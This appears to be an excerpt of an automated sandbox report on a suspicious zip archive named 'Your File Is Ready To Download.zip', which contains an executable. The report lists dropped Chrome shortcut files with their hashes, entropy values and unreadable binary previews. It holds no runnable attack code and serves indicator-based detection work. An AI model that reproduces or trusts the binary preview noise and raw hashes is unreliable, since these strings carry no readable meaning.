                    Preview:L..................F.@.. ...$+.,....~..Bt...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.WIO....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.WXO....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.WXO....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.WXO..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.WvO...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........OA(......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F
                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                    File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Dec 14 08:59:42 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
                    Category:dropped
                    Size (bytes):2675
                    Entropy (8bit):3.997938689192888
                    Encrypted:false
                    SSDEEP:
                    MD5:B6E8A717815CEA98996AE67DCB1D6781
                    SHA1:EDD9DED3BF5195F18393EDF2AC546B29A6D4CEF5
                    SHA-256:45DBDA2B925F09FD477278C9C1AFBC6103D9620404B742B410BA701C0CC0CA23
                    SHA-512:60192A208CBADDB28D5A33EB70F97CFD440D40CF3C55C615DF3FBAD4BF9491168BC977473DC51C6F2B2454CA1AECA8BCC1789165E3A82CB7A18AB0C0961E3075
                    Malicious:false
                    Reputation:low
                    Preview:L..................F.@.. ...$+.,....."zBt...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.WIO....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.WXO....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.WXO....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.WXO..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.WvO...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........OA(......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F
                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                    File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Oct 6 08:05:01 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
                    Category:dropped
                    Size (bytes):2689
                    Entropy (8bit):4.005517040298046
                    Encrypted:false
                    SSDEEP:
                    MD5:DBB20F786DC44AA733C53D66CAC28663
                    SHA1:F03512A3D10D622DA25FC21E1483A5F908E88D14
                    SHA-256:B3E2266057B505F174B15C43C0B239120E2EA760BCE24E0A3797C15694AF5494
                    SHA-512:6A902F8605F58193FD5D8716CB3CA3BF88DD6DECA86982A2491044837C0101D1DF1D20EDCC9002EB5EC60D7FAF2DD675D52341236839E0D25C4A7B0AFF631A8A
                    Malicious:false
                    Reputation:low
                    Preview:L..................F.@.. ...$+.,.....Y.04...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.WIO....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.WXO....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.WXO....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.WXO..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VFW.E...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........OA(......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F
                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                    File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Dec 14 08:59:42 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
                    Category:dropped
                    Size (bytes):2677
                    Entropy (8bit):3.9925872253262487
                    Encrypted:false
                    SSDEEP:
                    MD5:DF742135B400E3F791352D5F60AF790D
                    SHA1:BDD4D62F60A378EFE1DCA908A622C7C9311403F2
                    SHA-256:60FF0B84B0B0FC27EC39CA55BFAC45B0126F32044F545B8225C4A459228EF4C9
                    SHA-512:20B118536CFA8AC5340B413683DAFF25DE15A10CC33123A3FA81246B0D00E1E698F145C4B0ADACEFB17747C2CADCAF325733F189B46028FA62048CB585F63012
                    Malicious:false
                    Reputation:low
                    Preview:L..................F.@.. ...$+.,.....DsBt...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.WIO....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.WXO....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.WXO....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.WXO..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.WvO...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........OA(......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F
                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                    File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Dec 14 08:59:42 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
                    Category:dropped
                    Size (bytes):2677
                    Entropy (8bit):3.982381466432932
                    Encrypted:false
                    SSDEEP:
                    MD5:3DA1543A04CCD66FE00647CCDA95C211
                    SHA1:A7693A6C1713DD8142D2FE65E8720F2663EDB9FF
                    SHA-256:02E7693A19030C4678D5F1D5533F98910589A47B41F76A628A93DA49D2377CD7
                    SHA-512:B63142355AF3F26A96507762FB1CDDDBF0B088D84B98FC6316FD2337D1F811418972AA442F7D3CE1DA18BACD392560797DACD0C0EA12D4937D278FD16C2CEFB9
                    Malicious:false
                    Reputation:low
                    Preview:L..................F.@.. ...$+.,.......Bt...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.WIO....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.WXO....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.WXO....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.WXO..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.WvO...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........OA(......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F
                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                    File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Dec 14 08:59:42 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
                    Category:dropped
                    Size (bytes):2679
                    Entropy (8bit):3.990531306409708
                    Encrypted:false
                    SSDEEP:
                    MD5:2D830BCA4AFB908A730F396B7F1BA443
                    SHA1:F92F5F7AF986F8E65BC792847F704345CDE7269A
                    SHA-256:9E6D1DA01A318689430281A2275DCAC8FF01158E134C845342B4F97635AB0841
                    SHA-512:E2BE40410DF559D8DA7C2B01BDFD6F210E7237DF1BB9CF409AB0D78EA2105883CD5C8FC7F88072CED93F83895C3B279CB216E3C95711C5180885249862640DA9
                    Malicious:false
                    Reputation:low
                    Preview:L..................F.@.. ...$+.,.....CaBt...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.WIO....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.WXO....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.WXO....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.WXO..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.WvO...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........OA(......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F
                    File type:Zip archive data, at least v2.0 to extract, compression method=deflate
                    Entropy (8bit):7.9965871205757555
                    TrID:
                    • ZIP compressed archive (8000/1) 100.00%
                    File name:Your File Is Ready To Download.zip
                    File size:103'030 bytes
                    MD5:1b4974a0a04e0e537262a392b5944786
                    SHA1:0ba859f1d929c69226e4d264c9a3f3e435d47c64
                    SHA256:4d4533b1b6c84077f9eeb4a19ff2b637a8e1ee4fb2b8772cf19cee5035bd3841
                    SHA512:8293cbe3c8a25f020716fa983b9a789e30d0b04657dfc16aa530d045a2a8940c4fb437cc1047f59decfda5dc167c043e1b0c63d6b4406f8671ef92a305281d30
                    SSDEEP:1536:XvOARROViuj32rRWLzM3OI0UZAJ2dDfN9Itnaxs4QvdDW2EtMNxFEsSqADGlK0av:2ARRO0ujzLA3OQdHeaqwuxCsSrDiKqhW
                    TLSH:76A3121DEE9C47358482E5688DB0F13414EECA302AFACEAAD53B4DF4E9764541CD67B0
                    File Content Preview:PK...........V.T......p3.."...Your File Is Ready To Download.exe..{x.U.8Z..$..I5.`. Q..A&N.%6...CT..b:DH..`..af...g..+..(J9G..9Gg...s~:.x....h.`....h.F3.....(14...Z..;..<.......h.~....k.....*.....9...g............_..?fs/d.uY.m.[....gC...?....~Z...~...K...
                    Icon Hash:1c1c1e4e4ececedc